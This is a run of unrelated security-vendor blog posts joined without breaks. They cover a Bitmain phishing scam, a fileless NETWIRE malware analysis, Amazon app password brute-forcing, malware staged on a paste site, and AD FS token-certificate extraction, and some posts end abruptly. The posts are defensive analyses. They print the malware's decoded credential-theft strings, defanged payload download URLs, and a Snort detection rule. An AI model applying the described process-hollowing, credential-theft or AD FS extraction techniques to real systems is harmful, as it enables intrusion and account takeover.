The human factor is not infallible; we need automatic defenses for added security.
A reliable protection solution, such as Kaspersky Internet Security , will warn you if someone tries to redirect you to a malicious, phishing, or scam website.
Rising cryptocurrency prices have led to an increase in demand for mining equipment, but COVID-19 restrictions have led to a drop in supply.
As a result, the world is witnessing another shortage of powerful video cards and cryptomining equipment , with months-long wait times for new deliveries.
Cybercriminals, as always, are looking to capitalize on the crisis.
For example, fraudsters have been extracting cryptocurrency from buyers using a popular Google service and a clone of a mining equipment manufacturer’s website.
How the scam works Scammers and spammers have long relied on Google services (Forms, Sheets, Calendar, Photos and others) for their ability to send automatic notifications to anyone the author of a file (or a calendar entry, etc.)
shares it with or mentions in it.
The e-mails come not from the actual author, but from no less an authority than Google, so spam filters typically let them through.
In this case, potential cryptocurrency miners are receiving e-mails saying they have been mentioned in a Google Docs file by a user with the nickname BitmainTech (the name of a real manufacturer of mining rigs).
The respectable name — @docs[.]google[.
]com — in the From field helps lower the recipient’s guard.
The displayed username is whatever the sender wants it to be, and the sender’s real e-mail address remains hidden.
The e-mail reads: “BitmainTech mentioned you in a document” Bait follows in the form of an announcement of a sale on Antminer S19j mining machines.
Posing as the Bitmain sales department, the scammers report that the equipment is available to be ordered, but time’s running out; stock is limited and delivery is on a first-come-first-served basis.
The text is replete with trust-inspiring facts and figures.
Fake Bitmain sales team uses Google Docs to tell victim about Antminer S19j availability The same text appears in the Google Docs file, only with an active link that leads, through a chain of redirects, to bitmain[.]sa[.
]com, a clone of the official bitmain[.
]com website (note the differences in the address).
A WHOIS check reveals that the domain of the fake site was registered in March 2021.
For extra credibility, the cybercriminals use the HTTPS protocol.
Readers of this blog already know HTTPS protects data from interception as it travels from user to site but does not guarantee a site is bona fide.
If the destination site is malicious, using a secure protocol just means the data will travel securely to the cybercriminals.
Fake Bitmain site with Antminer S19j ad On the real Bitmain website, at the time of posting, the Buy button was inactive because the last Antminer S19j batch had already been snapped up; the site does not expect new deliveries to occur before October.
But on the fake resource, the coveted mining machine slides right into the shopping cart, and for the same price as the real one, $5,017.
The fake website lets you add the mining machine to your shopping cart To proceed to checkout, the victim has to sign in or register.
There are two possible reasons to implement this requirement: for greater authenticity or to build a database of addresses and passwords for account hacking purposes.
Despite registering (using a disposable e-mail address, of course), we never received a registration confirmation message.
Fake Bitmain authorization page
In any event, the system allows the user to sign in and finalize the order.
The login procedure looks quite convincing.
The Antminer S19j is in the cart!
Or is it?
At the next stage, the victim is asked to provide a delivery address.
Perhaps the scammers are collecting this data for sale as well.
A warning that the manufacturer cannot ship to mainland China if the order is placed on the English-language site Most cryptomining rig manufacturers, including Bitmain, are located in China.
Moving heavy and expensive equipment from there is not cheap, yet the cybercriminals charge roughly five dollars for shipping, regardless of destination and service (UPS, DHL, or FedEx).
Choosing a delivery service.
The shipping cost is $5.45 no matter where the shipment is headed Next, the victim is asked to choose a payment method.
They must use cryptocurrency but can choose BTC, BCH, ETH, or LTC.
Selecting a payment method: Bitcoin, Ethereum, Bitcoin Cash, or Litecoin The final and most important step is making the payment.
The cybercriminals provide cryptowallet details and warn that the transaction must be completed within two hours, otherwise the order will be canceled.
Note that the cost of delivery, though minuscule, does not appear in the bill.
The total order price does not include shipping After the victim has parted with a considerable amount of cryptocurrency, the air of legitimacy evaporates.
The user’s personal account contains no order data, and the buttons are inactive.
The inglorious finale How to stay safe from scams To avoid being duped, stay vigilant so as not to fall for hype.
Stay wary, and pay particular attention if someone tries to hurry you into making a payment.
In this case, the appearance of a scarce product for sale is no different than receiving news of a sudden lottery win (doubly suspicious if you didn’t even buy a ticket).
Check the official website.
If you receive an offer from a well-known brand, find the official website and look there for information about the promotion.
Always examine the address bar.
Use an advanced security product with protection against phishing and online fraud, such as Kaspersky Internet Security .
Introduction Malware authors attempt to evade detection by executing their payload without having to write the executable file on the disk.
One of the most commonly seen techniques of this \"fileless\" execution is code injection.
Rather than executing the malware directly, attackers inject the malware code into the memory of another process that is already running.
Due to its presence on all Windows 7 and later machines and the sheer number of supported features, PowerShell has been a favorite tool of attackers for some time.
FireEye has published multiple reports where PowerShell was used during initial malware delivery or during post-exploitation activities.
Attackers have abused PowerShell to easily interact with other Windows components to perform their activities with stealth and speed.
This blog post explores a recent phishing campaign observed in February 2019, where an attacker targeted multiple customers and successfully executed their payload without having to write the executable dropper or the payload to the disk.
The campaign involved the use of VBScript, PowerShell and the .NET framework to perform a code injection attack using a process hollowing technique.
The attacker abused the functionality of loading .NET assembly directly into memory of PowerShell to execute malicious code without creating any PE files on the disk.
Activity Summary
The user is prompted to open a document stored on Google Drive.
The name of the file, shown in Figure 1, suggests that the actor was targeting members of the airline industry that use a particular aircraft model.
We have observed an increasing number of attackers relying on cloud-based file storage services that bypass firewall restrictions to host their payload.
Figure 1:
Malicious script hosted on Google Drive As seen in Figure 2, attempting to open the script raises an alert from Internet Explorer saying that the publisher could not be verified.
In our experience, many users will choose to ignore the warning and open the document.
Figure 2:
Alert raised by Internet Explorer Upon execution, after multiple levels of obfuscation, a PowerShell script is executed that loads a .NET assembly from a remote URL, functions of which are then used to inject the final payload (NETWIRE Trojan) into a benign Microsoft executable using process hollowing.
This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables.
Technical Details
The initial document contains VBScript code.
When the user opens it, Wscript is spawned by iexplore to execute this file.
The script uses multiple layers of obfuscation to bypass static scanners, and ultimately runs a PowerShell script for executing the binary payload.
Obfuscation techniques used during different levels of script execution are shown in Figure 3 and Figure 4.
Figure 3:
Type 1 obfuscation technique, which uses log functions to resolve a wide character Figure 4:
Type 2 obfuscation technique, which uses split and replace operations This script then downloads and executes another encoded .vbs
script from a paste.ee URL, as seen in Figure 5.
Paste.ee is a less regulated alternative to Pastebin and we have seen multiple attacks using this service to host the payload.
Since the website uses TLS, most firewall solutions cannot detect the malicious content being downloaded over the network.
Figure 5: Downloading the second-stage script and creating a scheduled task The script achieves persistence by copying itself to Appdata/Roaming and using schtasks.exe to create a scheduled task that runs the VBScript every 15 minutes.
After further de-obfuscation of the downloaded second-stage VBScript, we obtain the PowerShell script that is executed through a shell object, as shown in Figure 6.
Figure 6: De-obfuscated PowerShell script The PowerShell script downloads two Base64-encoded payloads from paste.ee that contain binary executable files.
The strings are stored as PowerShell script variables and no files are created on disk.
Microsoft has provided multiple ways of interacting with the .NET framework in PowerShell to enhance it through custom-developed features.
These .NET integrations with PowerShell are particularly attractive to attackers due to the limited visibility that traditional security monitoring tools have around the runtime behaviors of .NET processes.
For this reason, exploit frameworks such as CobaltStrike and Metasploit have options to generate their implants in .NET assembly code.
Here, the attackers have used the Load method from the System.
Reflection.
Assembly .NET
Framework class.
After the assembly is loaded as an instance of System.
Reflection.
Assembly , the members can be accessed through that object similarly to C#, as shown in Figure 7.
Figure 7:
Formatted PowerShell code The code identifies the installed version of .NET and uses it later to dynamically resolve the path to the .NET installation folder.
The decoded dropper assembly is passed as an argument to the Load method.
The resulting class instance is stored as a variable.
The objects of the dropper are accessed through this variable and method R is invoked.
Method R of the .NET dropper is responsible for executing the final payload.
The following are the parameters for method R: Path to InstallUtil.exe (or other .NET framework tools)
Decoded NETWIRE trojan When we observed the list of processes spawned during the attack (Figure 8), we did not see the payload spawned as a separate process.
Figure 8:
Processes spawned during attack We observed that the InstallUtil.exe process was being created in suspended mode.
Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process.
We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument.
From a detection evasion perspective, the attacker has chosen an interesting approach.
Even if the PowerShell process creation is detected, InstallUtil.exe is executed from its original path.
Furthermore, InstallUtil.exe is a benign file often used by internal automations.
To an unsuspecting system administrator, this might not seem malicious.
When we disassembled the .NET code and removed the obfuscation to understand how code injection was performed, we were able to identify Windows win32 API calls associated with process hollowing (Figure 9).
Figure 9: Windows APIs used in .NET dropper for process hollowing After reversing and modifying the code of the C# dropper to invoke R from main, we were able to confirm that when the method R is invoked, InstallUtil.exe is spawned in suspended mode.
The memory blocks of the suspended process are unmapped and rewritten with the sections of the payload program passed as an argument to method R.
The thread is allowed to continue after changes have been made to the entry point.
When the process hollowing is complete, the parent PowerShell process is terminated.
High-Level Analysis of the Payload The final payload was identified by FireEye Intelligence as a NETWIRE backdoor.
The backdoor receives commands from a command and control (C2) server, performs reconnaissance that includes the collection of user data, and returns the information to the C2 server.
Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft.
The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory.
The malware also contains a custom obfuscation algorithm to hide registry keys, APIs, DLL names, and other strings from static analysis.
Figure 10 provides the decompiled version of the custom decoding algorithm used on these strings.
Figure 10:
Decompiled string decoding algorithm From reversing and analyzing the behavior of the malware, we were able to identify the following capabilities: Record mouse and keyboard events Capture session logon details Capture system details Take screenshots Monitor CPU usage Create fake HTTP proxy From the list of decoded strings, we were able to identify other features of this sample: “POP3” “IMAP” “SMTP” “HTTP” \"Software\\\\Microsoft\\\\Windows
NT\\\\CurrentVersion\\\\Windows Messaging Subsystem\\\\Profiles\\\\Outlook\\\\” \"Software\\\\Microsoft\\\\Office\\\\15.0\\\\Outlook\\\\Profiles\\\\Outlook\\\\” \"Software\\\\Microsoft\\\\Office\\\\16.0\\\\Outlook\\\\Profiles\\\\Outlook\\\\” Stealing data from an email client “\\Google\\Chrome\\User Data\\Default\\Login Data” “\\Chromium\\User Data\\Default\\Login Data” “\\Comodo\\Dragon\\User Data\\Default\\Login Data” “\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data” “\\Opera Software\\Opera Stable\\Login Data”
“Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2” “vaultcli.dll: VaultOpenVault,VaultCloseVault,VaultEnumerateItem,VaultGetItem,VaultFree” “select *  from moz_login” Stealing login details from browsers A complete report on the NETWIRE backdoor family is available to customers who subscribe to the FireEye Intelligence portal .
Indicators of Compromise Host-based indicators: dac4ed7c1c56de7d74eb238c566637aa Initial attack vector .vbs file Network-based indicators: 178.239.21.
]62:1919 kingshakes[.]linkpc[.
]net 105.112.35[.
]72:3575 homi[.]myddns[.
]rocks C2 domains of NETWIRE Trojan FireEye Detection FireEye detection names for the indicators in the attack: Endpoint security Exploit Guard: Blocks execution of wscript IOC: POWERSHELL DOWNLOADER D (METHODOLOGY) AV: Trojan.
Agent.
DRAI Network Security Backdoor.
Androm Email Security Malicious.
URL Malware.
Binary.vbs Conclusion Malware authors continue to use different \"fileless\" process execution techniques to reduce the number of indicators on an endpoint.
The lack of visibility into .NET process execution combined with the flexibility of PowerShell makes this technique all the more effective.
FireEye Endpoint Security and the FireEye Network Security detect and block this attack at several stages of the attack chain.
Acknowledgement We would like to thank Frederick House, Arvind Gowda, Nart Villeneuve and Nick Carr for their valuable feedback.
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Amazon is a popular online retailer serving millions of users.
Unfortunately, FireEye mobile security researchers have found security issues within Amazon’s mobile apps on both Android and iOS platforms through which attackers can crack the passwords of target Amazon accounts.
Amazon confirmed our findings and hot fixed the issue.
Recently, we found two security issues within Amazon’s mobile apps on both Android and iOS platforms: No limitation or CAPTCHA for password attempts Weak password policy Attackers can exploit these two security issues remotely against target Amazon accounts.
Figure 1.
Verification Code for Wrong Password Attempts A CAPTCHA (\"Completely Automated Public Turing test to tell Computers and Humans Apart\") is a challenge-response test designed to determine whether the user is a human.
CAPTCHAs are well adopted for preventing programmed bots from accessing online services for bad purposes, such as conducting denial-of-service attacks, harvesting information and cracking passwords.
The web version of Amazon requires the user to complete a CAPTCHA after ten incorrect password attempts (Figure 1), to prevent password cracking.
However, Amazon’s mobile apps haven’t adopted such protection using CAPTCHA (Figure 2 and Figure 3).
This design flaw provides attackers the chance to crack any Amazon account’s password using brute force.
Figure 2.
Amazon Android App Figure 3.
Amazon iOS
App
Furthermore, Amazon doesn’t have a strong password strength requirement.
It accepts commonly used weak passwords such as \"123456\" and \"111111\".
We know that the weaker the password, the easier for hackers to break into an account.
Therefore, allowing weak passwords puts account safety to potential security risks.
Given that there are many well-known previous password leakages , attackers can use these password leakages as knowledge bases to conduct password cracking.
As a proof of concept, we figured out the password of one Amazon account we setup within 1000 attempts, using the latest version (2.8.0) of Amazon’s Android shopping client.
After receiving our vulnerability report, Amazon hot fixed the first issue by patching their server.
Now if the user tries multiple incorrect passwords, the server will block the user from login (Figure 4).
In the future, we suggest adding CAPTCHA support for Amazon mobile (Android and iOS)
apps, and enforcing requirements for stronger passwords.
Figure 4.
Wrong Password Block Subscribe to Blogs Get email updates as new blog posts are added.
Juniper Threat Labs identified several malware campaigns that rely on a pastebin-like service for its infection chain.
The domain in question is paste.nrecom.net.
The attacks usually start as a phishing email and, when a user is tricked into executing the malware, it downloads the succeeding stage of the malware from paste.nrecom.net and loads it into the memory without writing to disk.
Using a legitimate web-service for the malware infrastructure is not new, as we have seen APT group FIN6 using pastebin to host parts of the infection chain and Rocke using it for command and control.
Although using legitimate web services is not novel, this is the first time that we have seen threat actors use paste.nrecom.net.
Among the malware we have identified are AgentTesla, LimeRAT, Ransomware and Redline Stealer.
What is paste.nrecom.net?
Paste.nrecom has been in service since May 2014.
If you are not familiar with pastebin, it is a service where you can post your code or text data with the intent of sharing it with others.
Paste.nrecom does the same thing and it also offers an API that allows scripting.
This is advantageous to threat actors as they can easily insert and update data programmatically.
This service is powered by Stikked , which is an open-source PHP based pastebin.
How do threat actors use it for malicious purposes?
Because it is a text-only service, one would think that it cannot host an executable file (binary data) into it.
However, binary data can be represented as a text file by simply encoding it.
The common encoding method is using base64 .
That is exactly what the threat actors did in this case.
malicious paste encoded in base64 To add another layer of obfuscation, they encrypt the binary data with a XOR key.
The following file, for example, is encrypted with XOR key, 0x02.
After base64 decoding, the file is still encrypted with XOR algorithm.
After all the necessary decoding and decryption, you will then see the executable file, as shown above.
From September 21, 2020, we have seen several malware families taking advantage of this service and quickly ramped up.
Malware Campaigns The attack usually starts with a phishing email that includes an attachment, such as a document, archive or an executable.
When a user is tricked into installing the malicious attachment (first stage), it downloads the next stages from paste.nrecom.net.
We have also seen malware hosting their configuration data in the same service.
Agent Tesla Agent Tesla is a spyware that is capable of stealing personal data from web browsers, mail clients and FTP servers.
It can also collect screenshots, videos and capture clipboard data.
Recent versions of this malware are also capable of stealing personal data from VPN clients.
It is being sold on the underground markets for as low as $15 and could go up to $70 depending on the additional features.
Agent Tesla is among the most active malware using this pastebin-like service.
Campaigns usually start with a phishing email with a malicious attachment.
Based on the samples we found, these campaigns target multiple industries related to shipping, supply chain and banks.
In some cases, the attachments are archives, such as .iso, .rar
or .uue
like below: Attachment Sha256: 9c38ab9d806417e89e3c035740421977f92a15c12f9fa776ac9665a1879e5f67 Infection Chain for 9c38ab9d806417e89e3c035740421977f92a15c12f9fa776ac9665a1879e5f67 As you can see from the chain, there are two requests to paste.nrecom because it divides the Agent Tesla payload into two.
The first request is the first half of the file and the second request makes the second half.
This technique makes it harder for security solutions to analyze the payload.
Another sample phishing email has the attachment with Sha256: 199a98adf78de6725b49ec1202ce5713eb97b00ae66669a6d42f8e4805a0fab9 Below are email attachments and files inside some email attachments that we have found to install Agent Tesla using paste.nrecom.
File Name Sha256 Emirate bank TT copy 2020-09-20 at 07.30.55.uue f8c02c3f6d22978b3c478d0fb7ad4845609b8ad4a38e0ed2a75721156a6a8e44 Inv C-22464 PO 3871.exe 27f8e739b62c685c4115f49ae146bb75271d0b8fad021436939735bf7492186b
PO#150367285 SECONDO VERGANI SPA Ref#BK043383.exe 3101003430beae11fe082a07878ac2f643a64e3abd82b7b2a787a0e1fde27307 Payment Notification.uue b7cf6fb7557f435bab1b815a38b1771aea9d118192f6d184111754615e8881af bank payment copy.exe 136991b95c503e13d7ed77305a305f6f568c9d93273584d19a33014202a6ebbb Payment docs63878288882788.docx.rar 44221603cb9e19a630e35bd12a9c8bd97a9d2743a6fc5528e81db0718fc3e1b3 Attachment JOIN LEADERS PO332,pdf.exe 167139073c586fd0d7de374611f899e170fd0316463be6c65170496636b3e42d APROBACION DE TRANSFERENCIA INUSUAL
REALIZADA
EXITOSAMENTE.tar 0e044c8570122a280c963cac80e0140da78ee0d378cd17cab4ea6f146ce35d15
In some cases, the attached files are Office Documents that download the Agent Tesla loader.
Infection chain for c66e6c6018d3e51e8b39146c6021fb51f59750b93778a063f7d591f24068c880 W3Cryptolocker
Ransomware W3Cryptolocker is a relatively new ransomware.
Based on our telemetry, this ransomware surfaced in July 2020.
We will call this malware W3Cryptolocker, based on a string found in its code.
Strings found in the binary code of this ransomware.
The loader was hosted on a potentially hacked site, italake.com.
Infection Chain of Ede98ae4e8afea093eae316388825527658807489e5559bff6dbf5bc5b554a2c It will encrypt all files in all drives except for files having “.xls” extension and folders having the following strings: Windows ProgramData $Recycle.bin System Volume Information It adds an extension .xls for encrypted files.
After it is done encrypting each folder, it creates a “Read_Me.txt” file on each folder with the following message.
Visiting the https://yip[.
]su/ 2QstD5 leads you to a freshdesk support site, bit7.freshdesk.com.
Other W3Cryptolocker Samples c97852b425e41d384227124d93baf6c2d3e30b52295a828b1eac41dc0df94d29 9a0af98d0b8f7eacc3fdd582bbc0d4199825e01eeb20c2a6f98023c33ece74f6
01eea2a4628c6b27a5249a08152655246871acafa657e391b73444c05097976e 9a08e87e8063b13546e464f73e87b2ca5bde9410fec4e614313e2b8a497592fa 8dfe87850bd17b4eb0169b85b75b5f104ae6b84deeb2c81fe6ae5e19685f6c66 53124033d521158771eac79ad6f489c6fdd5b25ab96712035c2ca65b3a3c5eed aac2024789ffd2bfce97d6a509136ecf7c43b18c2a83280b596e62d988cedb10 fafabdffa67883587ba1a3c29f6345a378254f720efe8c2f318a4d5acdbce373 Redline Stealer Redline Stealer is a malware that surfaced around March 2020 and it was reported to have targeted healthcare and manufacturing industries in the United States.
This malware is found being advertised on forums with several pricing options starting from $100/month subscription.
It has the following functionality: Browser Data Stealer Login and Passwords Cookies Autocomplete Fields Credit Cards Remote Task Functions Execute Commands Download Files Download Files and Execute RunPE (Process Injection for fileless infection)
OpenLink FTP and IM client stealer File-grabber Collects information about the victim’s system The sample we found poses as a Bitcoin Miner archived into a RAR file.
The archive contains an executable, MinerBitcoin.exe, that downloads the Redline Stealer payload from paste.nrecom.net.
Infection Chain of Redline Stealer: Sha256: a719affc96b41b63f78d03dc3bc6b7340287d25d876e58fd1ab307169a1751dc
Redline Stealer malicious functions
LimeRAT LimeRAT is a remote administration trojan coded in .NET
and is open source.
It was a malware used to target Colombian government institutions by the APT-C-36 group.
Among its many capabilities, it can be used as: Ransomware Remote Desktop Crypto Mining CryptoStealer DDOS Keylogger Password Stealer Infection Chain of 20ad344d20337f8a782135e59bc1f6e1a7999bcddc50fc1dc3b8b6645abcb91e Another sample we found is aae2e0d0792e22164b3c81d0051c5f94a293bae69e7aac5cc4ad035860dbf802.
At the time of this analysis, this sample still has zero VT detections.
It downloads the LimeRAT from https://paste[.]nrecom[.
]net/view/raw/93a7cd20.
aae2e0d0792e22164b3c81d0051c5f94a293bae69e7aac5cc4ad035860dbf802 with no VT hits Conclusion Using legitimate web-services like pastebin or paste.nrecom for malware infrastructure gives cybercriminals an advantage, as these services cannot be easily taken down due to their legitimate use.
We recommend Security Operations to add paste.nrecom to potentially web services being abused for malicious purposes.
It is recommended to monitor web-services like this one for suspicious content particularly binary data encoded in base64.
Juniper’s Encrypted Traffic Insights capability on the SRX NGFW does detect the malicious TLS connections to paste.nrecom.net as malicious using machine learning as seen in the screenshot below for W3Cryptolocker loader.
Juniper Advanced Threat Protection (ATP) detects these threats.
Detection of AgentTesla Loader (Project 68234.iso) Detection of AgentTesla Loader (VESSL’ITENERARY.xlsm) Detection of W3Cryptolocker Loader (0022.exe) Detection of malicious connection to paste.nrecom using Juniper Encrypted Traffic Insights Indicators of Compromise (IOC) Domain Paste.nrecom.net 192.12.66.108 lol.thezone.vip URL http://198[.]12[.]66[.]108/v[.
]exe http://lol[.]thezone[.]vip/v[.
]exe http://italake[.]com/assets/css/0022[.
]exe https://paste[.]nrecom[.
]net/view/raw/3c3ececf https://paste[.]nrecom[.
]net/view/raw/6306a51c https://paste[.]nrecom[.
]net/view/raw/bfefa179 https://paste[.]nrecom[.
]net/view/raw/39468747 https://paste[.]nrecom[.
]net/view/raw/c230a816 https://paste[.]nrecom[.
]net/view/raw/3529ec57 https://paste[.]nrecom[.
]net/view/raw/7900ed08 https://paste[.]nrecom[.
]net/view/raw/bd63e76f https://paste[.]nrecom[.
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Organizations are increasingly adopting cloud-based services such as Microsoft 365 to host applications and data.
Sophisticated threat actors are catching on and Mandiant has observed an increased focus on long-term persistent access to Microsoft 365 as one of their primary objectives.
The focus on developing novel and hard to detect methods to achieve this goal was highlighted with the recent detection of UNC2452 and their access to Microsoft 365 .
One of this group's key TTPs was to steal the Token Signing Certificate from an organization’s AD FS server to enable them to bypass MFA and access cloud services as any user, at any time.
While defenders previously associated the defense of this certificate, and thus the entire ecosystem, with careful access control and detection efforts around the AD FS server and service account, this is no longer sufficient.
In this blog post we will show how a threat actor, with the right privilege, can extract the encrypted Token Signing Certificate from anywhere on the internal network.
Once extracted, a threat actor can easily decrypt it and begin accessing cloud services.
Active Directory Federation Services Active Directory Federation Services (AD FS) is a feature for Windows Servers that enables federated identity and access management .
It is often used by organizations to provide single sign-on functionality to access enterprise applications such as Microsoft 365.
In technical terms, AD FS functions as an Identity Provider (IdP) and Microsoft 365 is a Service Provider (SP).
We’ll use Microsoft 365 as an example going forward, but this technique could apply to any service that is set up to trust AD FS.
AD FS verifies a user’s identity and issues assertions that describe the user.
Microsoft 365  trusts AD FS to verify user identities and provide it with assertions.
To Microsoft 365, it doesn’t matter how AD FS performed the verification, it just needs the assertions.
In the typical deployment (Figure 1), AD FS will verify a user’s identity using Active Directory.
At a minimum, an AD FS deployment consists of two servers in an enterprise’s on-premises network: the primary AD FS server, and an AD FS Web Application Proxy (WAP).
The proxy is placed in the DMZ and has no functionality besides proxying sign-on attempts from the Internet to the AD FS server.
The primary AD FS server receives proxied requests, verifies a user’s identity, and issues assertions that are packaged into SAML security tokens for the user.
Figure 1: Typical AD FS deployment (source: Microsoft )
The SAML token issued by AD FS proves a user’s identity to Microsoft 365 and can also be used to make authorization decisions.
The SAML token is an XML document with two main components: Assertions : Assertions are XML elements that describe the user’s identity.
An assertion could be a user SID, group membership SIDs, or other elements like the user’s department name.
A single SAML token can have multiple assertions attached to it.
Digital Signature : The assertions in the SAML token are digitally signed using a public/private keypair that resides on the AD FS server.
This is called the Token Signing Certificate.
The Token Signing Certificate is the bedrock of security in AD FS.
Microsoft 365 uses the digital signature to validate that the SAML token is authentic, valid, and comes from an AD FS server that it trusts.
To enable this verification, an administrator shares the public component of the Token Signing Certificate with Microsoft 365.
This is then used to cryptographically verify the digital signature in the SAML token and prove authenticity as well as integrity of the token.
In other words, if a threat actor got hold of a Token Signing Certificate, they could generate arbitrary SAML tokens to access any federated application, as any user, and even bypass MFA.
Golden SAML Golden SAML was coined in 2017 by CyberArk to describe the technique of forging SAML tokens to access SPs given a valid Token Signing Certificate.
At TROOPERS 19 , I detailed how a threat actor could extract the Token Signing Certificate from an AD FS server, as well as some mitigation strategies for defenders.
In a default AD FS configuration, the Token Signing Certificate is stored within a Windows Internal Database (WID) instance that is running on the AD FS server.
WID is more or less MS SQL Express, except the database can only be accessed locally over a special named pipe connection.
In AD FS, the database is further locked down to only the AD FS service account.
The Token Signing Certificate is stored in an encrypted state in the IdentityServerPolicy.
ServiceStateSummary table.
Figure 2 contains a single row with a column that stores all the settings that AD FS will need on service start as an XML document.
<SigningToken> <IsChainIncluded>false</IsChainIncluded> <IsChainIncludedSpecified>false</IsChainIncludedSpecified> <
FindValue>99FABAEE46A09CD9B34B9510AB10E2B0C0ACB99B</FindValue> <RawCertificate></RawCertificate> <EncryptedPfx></EncryptedPfx> <StoreNameValue>My</StoreNameValue> <StoreLocationValue>
CurrentUser</StoreLocationValue> <X509FindTypeValue>
FindByThumbprint</X509FindTypeValue> </SigningToken
> Figure 2:
Example Token Signing Certificate stored in the AD FS database The Token Signing Certificate as it is stored in the AD FS database is encrypted using symmetric key encryption.
Windows uses a technology called Distributed Key Management (DKM) to store the secret value used to derive the symmetric key in an Active Directory container.
The AD FS service account can read the attributes of this container, derive the symmetric key, and then decrypt the Token Signing Certificate.
AD FS Replication AD FS also supports a farm configuration for high availability and load balancing in larger enterprise networks.
The individual AD FS servers in a farm can be configured to use unique Token Signing Certificates; however, the default is to have the servers share the same Token Signing Certificate.
In order to stay in sync with each other, the farm will have a primary node and secondary nodes.
The secondary nodes make use of a replication service to acquire configuration settings and certificates from the primary AD FS server.
To facilitate this, AD FS makes use of Windows Communication Foundation (WCF).
WCF is a framework that allows developers to build service-oriented applications .
A WCF application has two components: the service that will receive and process messages, and the client that sends messages to a service and receives back responses.
The AD FS servers run a WCF service that is called the Policy Store Transfer Service internally.
To send a message to this service, the client will connect to the URL http://<adfs server name>:80/adfs/services/policystoretransfer .
Note that even though the channel is over HTTP, the actual data being exchanged is encrypted during transit.
It is also key to understand that although there is a single primary AD FS server, all nodes in an AD FS farm run this WCF service and can be used for replication.
Upon receipt of a message, the WCF service enforces an authorization check to ensure the calling identity is permitted to receive the requested information.
The permission check is done by evaluating an authorization policy that is also stored in the IdentityServerPolicy.
ServiceStateSummary table of the AD FS database.
The policy permits identities whose primary SID matches the AD FS Service account or to any identity that is member of the AD FS server’s local administrators group.
If the identity of the client passes the authorization check, then the WCF service will send back a message containing the requested information.
<AuthorizationPolicy>
@RuleName =
“Permit Service Account”exists([Type ==
“http://schemas.microsoft.com/ws/2008/06/identity/claims/ primarysid”, Value ==
“S-1-5-21-3508695881-2242692613 -376241919-1107”]) => issue(Type =
“http://schemas .microsoft.com/authorization/claims/permit”, Value = “ true”);
@RuleName =
“Permit Local Administrators”exists([Type ==
“http://schemas.microsoft.com/ws/2008/06/identity/claims/group sid”, Value == “S-1-5-32-544”])=> issue(Type = &quot ;http://schemas.microsoft.com/authorization/claims/permit”, Value = “true”); </AuthorizationPolicy> Figure 3:
Default Authorization Policy for AD FS server Room for Abuse A threat actor can abuse the Policy Store Transfer Service to acquire the encrypted Token Signing Certificate over the network, similar to the DCSync technique for Active Directory.
It is important to note that the data is still encrypted and requires the DKM key stored in Active Directory to decrypt.
This technique, however, requires a significant change to how defenders have secured AD FS servers and monitored them for theft of the Token Signing Certificate.
First, previous techniques required code execution on an AD FS server to extract the data or at least an SMB connection to transfer the backing database files.
With a strong defense in depth program using secure credential management, EDR, and network segmentation, an enterprise can make it very difficult for a threat actor to access an AD FS server and the Token Signing Certificate.
Abusing the AD FS Replication service, however, requires only access to the AD FS server over the standard HTTP port.
The default installation of AD FS will even create a Windows Firewall rule to allow HTTP traffic from any system.
Additionally, a threat actor does not need the credentials for the AD FS service account and can instead use any account that is a local administrator on an AD FS server.
Lastly, there is no Event Log message that is recorded when a replication event occurs on an AD FS server.
Altogether, this makes the technique both much easier to execute and much harder to detect.
The authorization policy itself also presents an opportunity for abuse.
Because the authorization policy is stored as XML text in the configuration database, a threat actor with enough access could modify it to be more permissive.
A threat actor could modify the Authorization Policy to include a group SID such as domain users, S-1-5-21-X-513 .
Similarly, they could add an ACE to the DKM key container in Active Directory.
This would allow the threat actor to easily obtain the Token Signing Certificate and decrypt it using any domain user credentials.
This would give them persistent ability to perform a Golden SAML attack with only access to the network as a requirement.
Mandiant has not yet observed this technique used in the wild; however, it is trivial to write a POC for and we are aware of one public tool that will soon support it.
Figure 4 shows the output of POC code written in .NET
to extract the Token Signing Certificate from a remote AD FS server.
Figure 4:
POC code output Mitigations
The best mitigation against this technique is to use the Windows Firewall to restrict access to port 80 TCP to only the AD FS servers in the farm.
If an organization has only a single AD FS server, then port 80 TCP can be blocked completely.
This block can be put in place because all traffic to and from AD FS servers and proxies for user authentication is over port 443 TCP.
To limit inbound communications, modify the existing firewall rule that AD FS inserts on installation.
Set-NetFirewallRule -DisplayName \"AD FS HTTP Services (TCP-In)\" -RemoteAddress <ADFS1 IP address>,<ADFS2 IP Address>
If no rule exists, the scriptlet in Figure 5 should be applied to all ADFS servers to create one.
New-NetFirewallRule -DisplayName \"Allow ADFS Servers TCP 80\" -Direction Inbound -Action Allow  -Protocol
TCP -LocalPort 80 -RemoteAddress <ADFS1 IPAddress >,<ADFS2 IPAddress>
Figure 5: Windows Firewall - Allow ADFS Server - TCP 80 Organizations that are monitoring the internal network can alert on HTTP POST requests to the address that hosts the Policy Store Transfer service.
If there is an AD FS farm, then the IP addresses of the AD FS servers will need to be whitelisted against the rule.
Figure 6 shows a sample Snort rule to detect this activity.
alert tcp any any -> any 80 (msg:\"AD FS Replication\"; flow:established, to_server; content:\"POST\"; http_method; content:\"adfs/services/policystoretransfer\"; http_uri; threshold:type limit,track by_src,count 1,seconds 3600; priority:3; sid:7000000; rev:1;) Figure 6:
Sample snort rule Acknowledgements Mandiant would like to acknowledge the great work of Dr. Nestori Syynimaa (@DrAzureAD).
Dr. Syynimaa independently thought to research the replication of configuration information between AD FS servers and has published his findings on his blog .
Mandiant would also like to thank Microsoft for their collaboration on mitigations and detections for this technique.
Lastly, special thanks to Mike Burns of the Mandiant Security Transformation services team for his feedback on mitigations and detections.
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Apple has released an urgent update for iOS and iPadOS that fixes the CVE-2022-22620 vulnerability.
They recommend updating devices as soon as possible, as the company have reason to believe that the vulnerability is already being actively exploited by unknown actors.
Why vulnerability CVE-2022-22620 is dangerous As usual, Apple experts do not disclose the details of the vulnerability until the investigation is completed, and the majority of users have the patches installed.
At the moment, they only say that the vulnerability belongs to the Use-After-Free (UAF) class, therefore it is related to incorrect use of dynamic memory in applications.
